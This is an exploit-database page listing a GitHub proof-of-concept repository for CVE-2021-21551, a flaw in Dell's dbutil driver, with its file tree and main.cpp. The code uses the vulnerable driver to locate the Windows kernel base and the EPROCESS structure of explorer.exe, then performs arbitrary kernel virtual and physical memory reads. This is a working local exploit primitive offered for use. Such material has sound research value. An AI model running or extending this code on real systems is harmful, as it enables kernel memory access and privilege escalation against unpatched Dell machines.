Exploit databaseDownload repository ZIP
GH-7201b5682ef2a93ae07692d4b4d5e995
mzakocs/cve-2021-21551-poc
Sources for CVE-2021-21551
21 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files14
mzakocs/cve-2021-21551-pocRevision dae411dd47e2
- driver/
- .gitignore
- DbUtilAx.sln
- DbUtilAx.vcxproj
- DbUtilAx.vcxproj.filters
- DbUtilAx.vcxproj.user
- README.md
- logger.cpp
- logger.h
- main.cpp
- memory.cpp
- memory.h
- nt.h
- stdafx.h
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
main.cpp
Suggested starting fileC++ · 1,181 bytes#include "stdafx.h"
int main(int argc, char *argv[]) {
BOOL success = true;
// Initialize the Memory Manager object
Memory* MemoryManager = new Memory();
// Tests getting the base address of ntoskrnl.exe
DWORD64 ntoskrnlBaseAddress = MemoryManager->GetKernelBase("ntoskrnl.exe");
// Tests grabbing an EPROCESS struct of a process
std::string processName = "explorer.exe";
DWORD64 peprocess = MemoryManager->GetEPROCESSPointer(ntoskrnlBaseAddress, processName);
if (peprocess == NULL) {
Logger::Info("Failed to get EPROCESS of process!");
Logger::ShowKeyPress();
exit(1);
}
Logger::InfoHex("EPROCESS Address", peprocess);
// Tests reading a value from the EPROCESS struct
DWORD64 tableBase{};
MemoryManager->VirtualRead(peprocess + EPROCESS_DIRECTORYTABLEBASE, &tableBase, sizeof(DWORD64));
Logger::InfoHex("Table Base Address", tableBase);
// Tests physical reads at address 0
DWORD64 testPhysAddress{ 0 };
DWORD64 testPhysRead{};
MemoryManager->PhysicalRead(tableBase, &testPhysRead, sizeof(DWORD64));
Logger::InfoHex("Test Phys Read", testPhysRead);
// Pause to see info, lets me launch the exe outside the terminal
Logger::ShowKeyPress();
}